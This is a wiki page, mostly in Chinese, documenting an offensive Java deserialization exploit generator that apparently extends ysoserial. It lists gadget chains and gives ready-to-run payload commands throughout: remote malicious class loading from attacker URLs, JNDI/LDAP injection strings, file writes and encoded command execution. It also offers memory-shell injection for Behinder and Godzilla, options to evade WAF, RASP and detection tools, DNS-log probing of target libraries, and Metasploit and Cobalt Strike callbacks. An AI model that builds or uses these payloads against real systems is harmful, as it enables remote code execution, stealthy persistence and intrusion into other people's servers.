Skip to content

6、Gadget

炁 edited this page Oct 20, 2024 · 8 revisions

使用参数和链子

[root]#~  Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]
[root]#~  Available payload types:
     Payload                                     Authors                                Dependencies                                                                                                                                                                        
     -------                                     -------                                ------------                                                                                                                                                                        
     AspectJWeaver                               @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2                                                                                                                                
     AspectJWeaver2                              @QI4L                                  aspectjweaver:1.9.2, commons-collections:3.2.2                                                                                                                                    
     BeanShell1                                  @pwntester, @cschneider4711            bsh:2.0b5
     BeanShell2                                  @killer                                bsh:2.0b1                                                                                                                                                                         
     C3P0                                        @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                          
     C3P02                                       @QI4L                                  c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35                                                                                                           
     C3P03                                       @QI4L                                  c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9                                                                                                              
     C3P04                                       @QI4L                                  c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30                                                                                                            
     C3P092                                      @mbechler                              c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11                                                                                                                   
     C3P0JDBC                                    @Unam4                                 c3p0:0.9.5.2, com.alibaba.fastjson1.X                               
     C3P0JNDI                                    @Unam4                                 c3p0:0.9.5.2, com.alibaba.fastjson1.X                               
     C3P0JNDI2                                   @Unam4                                 c3p0:0.9.5.2, com.alibaba.fastjson1.X
     Click1                                      @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0                                                                                                                                         
     Clojure                                     @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                                       
     CommonsBeanutils1                           @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                               
     CommonsBeanutils1183NOCC                    @QI4L                                  commons-beanutils:1.8.3
     CommonsBeanutils2183NOCC                                                           commons-beanutils:1.8.3
     CommonsBeanutils3183                                                                                                                                                                 
     CommonsBeanutils1JDBC                       @QI4L                                  commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                               
     CommonsBeanutils2                           @CCKUAILONG                            commons-beanutils:1.9.2                                                                                                                                                             
     CommonsBeanutils2JDBC                       @QI4L                                  commons-beanutils:1.9.2  
     CommonsBeanutils3
     CommonsBeanutils4
     CommonsBeanutils5                                                                  commons-beanutils:1.6.1                                                                                         
     CommonsBeanutils2NOCC                                                              commons-beanutils:1.8.3, commons-logging:1.2                                                                                                                                        
     CommonsBeanutilsAttrCompare                 @水滴                                   commons-beanutils:1.9.2                                                                                                                                                           
     CommonsBeanutilsAttrCompare183              @SummerSec                             commons-beanutils:1.8.3                                                                                                                                                             
     CommonsBeanutilsObjectToStringComparator    @水滴                                   commons-beanutils:1.9.2, commons-lang3:3.10                                                                                                                                       
     CommonsBeanutilsObjectToStringComparator183 @SummerSec                             commons-beanutils:1.8.3, commons-lang3:3.10                                                                                                                                         
     CommonsBeanutilsPropertySource              @SummerSec                             commons-beanutils:1.9.2, log4j-core:2.17.1                                                                                                                                          
     CommonsBeanutilsPropertySource183           @SummerSec                             commons-beanutils:1.9.2, log4j-core:2.17.1                                                                                                                                          
     CommonsCollections1                         @frohoff                               commons-collections:3.1                                                                                                                                                                                                                                                                                                                    
     CommonsCollections2                         @frohoff                               commons-collections4:4.0                                                                                                                                                            
     CommonsCollections3                         @frohoff                               commons-collections:3.1                                                                                                                                                             
     CommonsCollections4                         @frohoff                               commons-collections4:4.0                                                                                                                                                            
     CommonsCollections5                         @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                                             
     CommonsCollections6                         @matthias_kaiser                       commons-collections:3.1                                                                                                                                                             
     CommonsCollections7                         @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                                             
     CommonsCollections8                         @navalorenzo                           commons-collections4:4.0                                                                                                                                                            
     CommonsCollections9                         @梅子酒                                 commons-collections:3.2.1                                                                                                                                                        
     CommonsCollections10                                                               commons-collections:3.2.1                                                                                                                                                           
     CommonsCollections11                                                                                                                                                                                                                                                   
     CommonsCollections12                                                               commons-collections:3.2.1
     CommonsCollections13                        @Jayl1n                                commons-collections:3.2.1
     CommonsCollections14                        @Unam4                                 commons-collections:3.1                                             
     CommonsCollections15                        @Unam4                                 commons-collections:3.1                                             
     CommonsCollections16                        @Unam4                                 commons-collections:3.1, jdk<=8u70
     CommonsCollectionsK1                                                               commons-collections:3.1                                                                                                                                                                                                                                                                                                                                                    
     CommonsCollectionsK2                                                               commons-collections:4.0                                                                                                                                                             
     CommonsCollectionsK3                        @matthias_kaiser                       commons-collections:3.1                                                                                                                                                             
     CommonsCollectionsK4                        @matthias_kaiser                       commons-collections:4.0                                                                                                                                                             
     CommonsCollectionsK5                        @QI4L                                  commons-collections:4.0                                                                                                                                                             
     CommonsCollectionsK6                        @QI4L                                  commons-collections:4.0                                                                                                                                                             
     Fastjson1                                                                                                                                                                                                                                                              
     Fastjson2
     FileUpload1                                                                                                                                                                                                                                                              
     Groovy1                                     @frohoff                               groovy:2.3.9                                                                                                                                                                        
     Groovy2                                     @Unam4                                 groovy <2.4.3
     Hibernate1                                  @mbechler                              hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1                                                                     
     Hibernate2                                  @mbechler                              hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1                                                                     
     JBossInterceptors1                          @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                            
     JRE8u20                                     @frohoff                                                                                                                                                                                                                   
     JRE8u20_2                                                                                                                                                                                                                                                              
     JRMPClient                                  @mbechler                                                                                                                                                                                                                  
     JRMPClient_Activator                        @mbechler                                                                                                                                                                                                                  
     JRMPClient_Obj                              @mbechler                                                                                                                                                                                                                  
     JRMPListener                                @mbechler                                                                                                                                                                                                                  
     JSON1                                       @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     Jackson                                                                                                                                                                                                                                                                
     JacksonLdapAttr                                                                                                                                                                                                                                                        
     JavassistWeld1                              @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                        
     Jdk7u21                                     @frohoff                                                                                                                                                                                                                   
     Jdk7u21variant                              @potats0                                                                                                                                                                                                                   
     Jython1                                     @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                                             
     MozillaRhino1                               @matthias_kaiser                       js:1.7R2                                                                                                                                                                            
     MozillaRhino2                               @_tint0                                js:1.7R2                                                                                                                                                                            
     Myfaces1                                    @mbechler                                                                                                                                                                                                                  
     Myfaces2                                                                                                                                                                                                                                                               
     ROME                                        @mbechler                              rome:1.0                                                                                                                                                                            
     ROME2                                                                              rome:1.0               
     ROME3                                       @Firebasky                             rome:1.0                                                                                                                                                             
     RenderedImage                                                                      jai-codec-1.1.3                                                                                                                                                                     
     SignedObject                                                                                                                                                                                                                                                           
     Spring1                                     @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                               
     Spring2                                     @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                           
     Spring3                                                                            spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2                                                                                                    
     URLDNS                                      @gebl                                                                                                                                                                                                                      
     Vaadin1                                     @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                          
     Wicket1                                     @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                                 



usage: JYso-[version].jar [-ch <arg>] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f <arg>] [-g <arg>] [-gen] [-gzk <arg>] [-h] [-hk <arg>] [-ht <arg>] [-hv <arg>] [-i] [-mcl] [-n <arg>] [-ncs] [-o] [-p
       <arg>] [-pw <arg>] [-rh] [-u <arg>] [-yso <arg>]
 -b64,--base64                               base64编码输出结果
 -ch,--cmd-header <arg>                      请求头,将命令传递给执行,默认[X-Token-Data]
 -dcfp,--define-class-from-parameter <arg>   使用 DefineClassFromParameter 时自定义参数名称
 -dl,--dirty-length <arg>                    使用类型 1 或 3 时的脏数据长度/使用类型 2 时的嵌套循环计数
 -dt,--dirty-type <arg>                      利用脏数据绕过WAF,类型:1:Random Hashable Collections/2:LinkedList Nesting/3:Serialized Data中的TC_RESET
 -f,--file <arg>                             将输出写入 FileOutputStream(指定文件名)
 -g,--gadget <arg>                           Java deserialization gadget
 -gen,--gen-mem-shell                        将内存 Shell 类保存为class文件
 -gzk,--godzilla-key <arg>                   Godzilla key,default [key]
 -h,--hide-mem-shell                         对检测工具隐藏内存外壳(类型2仅支持SpringControllerMS)
 -he1,--Hessian1                             Hessian1 Output
 -he2,--Hessian2                             Hessian2 Output
 -hk,--header-key <arg>                      MemoryShell 标头检查,请求标头密钥,默认 [Referer]
 -ht,--hide-type <arg>                       隐藏内存shell,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/
 -hv,--header-value <arg>                    MemoryShell 标头检查,请求标头值,默认 [https://QI4L.cn/]
 -i,--inherit                                是否让payload继承AbstractTranslet(低版本的JDK如1.6应该继承)
 -mcl,--mozilla-class-loader                 在 TransformerUtil 中使用 org.mozilla.javascript.DefiningClassLoader
 -n,--gen-mem-shell-name <arg>               设置MemShell类文件名
 -ncs,--no-com-sun                           强制使用 org.apache.XXX.TemplatesImpl 而不是 com.sun.org.apache.XXX.TemplatesImpl
 -o,--obscure                                使用反射绕过RASP
 -p,--parameters <arg>                       Gadget parameters
 -pw,--password <arg>                        Behinder 或 Godzilla 密码,默认 [p@ssw0rd]
 -rh,--rhino                                 使用Rhino Engine 把内存马代码转换为JS
 -u,--url <arg>                              MemoryShell绑定url模式,默认[/QI4L]
 -utf,--utf8-Overlong-Encoding               UTF-8 Overlong Encoding Bypass waf
 -x,--XStream <arg>                          Generate Xstream serialization xml
 -y,--ysoserial <arg>                        Java deserialization


Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser
If you want your payload being extremely short,you could just use:
java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser

使用说明

本项目为其拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:

  • TS :Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞,使用命令:TS-10

  • RC :Remote Call - 通过 URLClassLoader.loadClass() 来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass

  • WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命令:WF-/tmp/shell#d2hvYW1p

  • PB :ProcessBuilder 通过 ProcessBuilder.start() 来执行系统命令,使用命令 PB-lin-d2hvYW1p / PB-win-d2hvYW1p分别在不同操作系统执行命令

  • SE :ScriptEngine - 通过 ScriptEngineManager.getEngineByName('js').eval() 来解析 JS 代码调用 Runtime 执行命令,使用命令 SE-d2hvYW1

  • DL :DNS LOG - 通过 InetAddress.getAllByName() 来触发 DNS 解析,使用命令 DL-xxxdnslog.cn

  • HL :HTTP LOG - 通过 URL.getContent() 来触发 HTTP LOG,使用命令 HL-http://xxx.com

  • BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() 来加载 BCEL 类字节码,使用命令 BC-$BCEL$xxx,也可以使用 BC-EX-TomcatEchoBC-LF-/tmp/aaa.class 来执行高级功能

  • JD :JNDI Lookup - 通过 InitialContext.lookup() 来触发 JNDI 注入,使用命令 JD-ldap://xxx/xx

  • 其他:普通命令执行 - 通过 Runtime.getRuntime().exec() 执行系统命令,使用命令 whoami

这里需要注意的是,使用 PB 执行系统命令、WF 写入文件的内容、SE 执行命令时,为了防止传参错误,需要 对传入的命令使用 base64 编码

除了上面的利用,项目也通过 ScriptEngineManager 执行 JS 的方式支持了 EX- 的写法,也就是说针对 ChainedTransformer 利用方式也可以打入内存马或回显。

使用示例

JNDI中同理

ldap://127.0.0.1:1389/Deserialization/CommonsCollections1/command/Base64/[base64_encoded_DL-xxx.org])

命令执行示例:

java -jar JYso-[version].jar -y -g CommonsCollections1 -p PB-lin-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==

DNSLOG示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'DL-xxx.org'

脚本引擎解析 JS 代码示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'SE-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='

文件写入示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'WF-/tmp/1.jsp#PCVAcGFnZSBwYWdlR.....'

触发 JNDI 查询注入示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'JD-ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='

普通命令执行示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'open -a Calculator.app'

更多使用可以看链子对应代码处的具体注释。

任意自定义代码

如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ClassLoader 并使用了字节码缩短技术,减少Payload体积

示例:

java -jar JYso-[version].jar -y -g CommonsCollections3 -p LF-/tmp/evil.class -f cc3.ser

对于 TemplatesImpl 使用该功能不会直接打印在回显上,需要-f来保存在使用

URLDNS 探测目标类

为了解决有反序列化利用点但是无链可用的状态,本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本,主要包含如下表格中的内容:

DNSLOG 关键字 对应链 关键类 备注
cc31or321
cc322
CommonsCollections13567 org.apache.commons.collections.functors.ChainedTransformer
org.apache.commons.collections.ExtendedProperties$1
CommonsCollections1/3/5/6/7
需要<=3.2.1版本
cc40
cc41
CommonsCollections24 org.apache.commons.collections4.functors.ChainedTransformer
org.apache.commons.collections4.FluentIterable
CommonsCollections2/4链
需要4-4.0版本
cb17
cb18x
cb19x
CommonsBeanutils2 org.apache.commons.beanutils.MappedPropertyDescriptor$1
org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry
org.apache.commons.beanutils.BeanIntrospectionData
1.7x-1.8x为-3490850999041592962
1.9x为-2044202215314119608
c3p092x
c3p095x
C3P0 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
com.mchange.v2.c3p0.test.AlwaysFailDataSource
0.9.2pre2-0.9.5pre8为7387108436934414104
0.9.5pre9-0.9.5.5为7387108436934414104
ajw AspectJWeaver org.aspectj.weaver.tools.cache.SimpleCache AspectJWeaver,需要cc31
bsh20b4
bsh20b5
bsh20b6
bsh bsh.CollectionManager$1
bsh.engine.BshScriptEngine
bsh.collection.CollectionIterator$1
2.0b4为4949939576606791809
2.0b5为4041428789013517368
2.0.b6无法反序列化
groovy1702311
groovy24x
groovy244
Groovy org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet
groovy.lang.Tuple2
org.codehaus.groovy.runtime.dgm$1170
2.4.x为-8137949907733646644
2.3.x为1228988487386910280
becl Becl com.sun.org.apache.bcel.internal.util.ClassLoader JDK<8u251
Jdk7u21 Jdk7u21 com.sun.corba.se.impl.orbutil.ORBClassLoader JDK<=7u21
JRE8u20 JRE8u20 javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1 7u25<=JDK<=8u20
这个检测不完美,8u25版本以及JDK<=7u21会误报
可综合Jdk7u21来看
linux
windows
winlinux sun.awt.X11.AwtGraphicsConfigData
sun.awt.windows.WButtonPeer
windows/linux版本判断
jackson2100 jackson com.fasterxml.jackson.databind.node.NodeSerialization
ROME ROME com.sun.syndication.feed.impl.ToStringBean
com.rometools.rome.feed.impl.ObjectBean
SpringAOP fastjon
jackson
org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource
fastjson fastjon com.alibaba.fastjson.JSONArray
jdk17_22 jdk.internal.util.random.RandomSupport
jdk9_22 jdk.internal.misc.Unsafe
jdk6_8 sun.misc.BASE64Decoder
jdk6_11 com.sun.awt.SecurityWarning
jdk9_10 jdk.incubator.http.HttpClient
all 全部检测
jndiall
jndiall 关键类 说明
org.apache.naming.factory.BeanFactory 最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法
org.apache.catalina.filters.CsrfPreventionFilter$NonceCache tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString
javax.el.ELProcessor 和BeanFactory最经典的配合
org.yaml.snakeyaml.Yaml 知名YAML序列化,可以跟BeanFactory配合
com.thoughtworks.xstream.XStream 知名XML序列化,可以跟BeanFactory配合
org.mvel2.sh.ShellSession mvel语法,可以跟BeanFactory配合
org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory 高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性
org.apache.commons.configuration.SystemConfiguration 配合GenericNamingResourcesFactory可以篡改jdk环境变量
org.apache.commons.configuration2.SystemConfiguration 配合GenericNamingResourcesFactory可以篡改jdk环境变量
org.apache.groovy.util.SystemUtil groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量
org.apache.batik.swing.JSVGCanvas 远程加载svg造成XSS,XXE,RCE
org.apache.catalina.users.MemoryUserDatabaseFactory 配合UserDatabase可以XXE,写文件
org.apache.catalina.UserDatabase 配合MemoryUserDatabaseFactory可以XXE,写文件
org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory 以下均为DataSourceFactory,可以造成jdbc
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
org.apache.commons.dbcp.BasicDataSourceFactory
org.apache.commons.dbcp2.BasicDataSourceFactory
org.apache.tomcat.jdbc.pool.DataSourceFactory
com.alibaba.druid.pool.DruidDataSourceFactory
com.zaxxer.hikari.HikariJNDIFactory
org.h2.Driver h2 jdbc,可以RCE
org.postgresql.Driver postgresql,可以远程加载XML执行SPEL,可以写文件
org.springframework.context.support.ClassPathXmlApplicationContext postgresql RCE依赖spring环境
com.mysql.jdbc.Driver mysql,可以二次反序列化,可以读文件,可以XXE
com.mysql.cj.jdbc.Driver
com.mysql.fabric.jdbc.FabricMySQLDriver
oracle.jdbc.driver.OracleDriver oracle,可以带出机器用户名
com.ibm.db2.jcc.DB2Driver db2,可以写文件
COM.ibm.db2.jcc.DB2Driver
com.ibm.ws.webservices.engine.client.ServiceFactory WebSphere的ObjectFactory,可以远程加载jar,很少用到
com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
oracle.ucp.jdbc.PoolDataSourceImpl 反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖
"org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl hibernate-core-4.x,比较低版本才有的类

本项目参考了 kezibei 师傅的 URLDNS 项目,实际情况可能有如下几种情况导致问题:

  • 反序列时遇到黑名单,可能导致后面的类的 dnslog 出不来;
  • 反序列化流程中由于种种情况报错可能导致出不来。

因此这里还是提供了 all/common/指定类 三种探测方式:

  • all:探测全部的类;
  • common:探测不常在黑名单中的 CommonsBeanutils2/C3P0/AspectJWeaver/bsh/winlinux;
  • 指定类:使用对应链中的关键字 CommonsCollections24:xxxx.dns.log 。

示例:all:xxx.dns.log

Base64编码all:dnslog地址,即可

java -jar JYso-[version].jar -y -g URLDNS -p 'all:xxx.dns.log'
ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:xxxxxx.dns.log])

其他利用链的拓展

对于 BeanShell1 及 Clojure 这两个基于脚本语言解析的漏利用方式。

本项目为这两条利用链拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:

  • TS :Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞,使用命令:TS-10
  • RC :Remote Call - 通过 URLClassLoader.loadClass() 来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass
  • WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命令:WF-/tmp/shell#123
  • 其他:普通命令执行 - 通过 ProcessBuilder().start() 执行系统命令,使用命令 whoami

与之前的扩展类似,这里也不放截图了。

对于 BeanShell1,还通过 ScriptEngineManager 执行 JS 的方式支持回显或内存马的打入。使用方式同上:EX-

SignedObject 二次反序列化 Gadget

用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)

利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;

大概包含如下几种可用的常见调用链:

  1. InvokerTransformer 调用任意方法(依赖 CC)
  2. BeanComparator 调用 getter 方法(依赖 CB)
  3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
  4. ToStringBean 调用全部 getter 方法(依赖 Rome)
  5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core)
  6. MemberBox 反射调用任意方法(依赖 rhino)
  • cc,cc4,cb,hibernate,rome,rhino,spring

  • 利用方式:

  • SignedObjectPayload -> 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后两个参数是反序列化的类型

  • JNDI-Injection-Exploit 用法:
ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/CC:commonscollections6:[base64_encoded_cmd]:1::10000)
  • ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000" 

普通命令执行

  • JNDI-Injection-Exploit 用法:
${jndi:ldap://127.0.0.1:1389/[Basic or TomcatBypass ]/command/base64/[base64cmd]}
  • ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "calc" 

MSF/CS 上线

使用 MSF 的上线载荷配合远程 Jar 包调用完成 MSF 上线,后续可转 CS。

Clone this wiki locally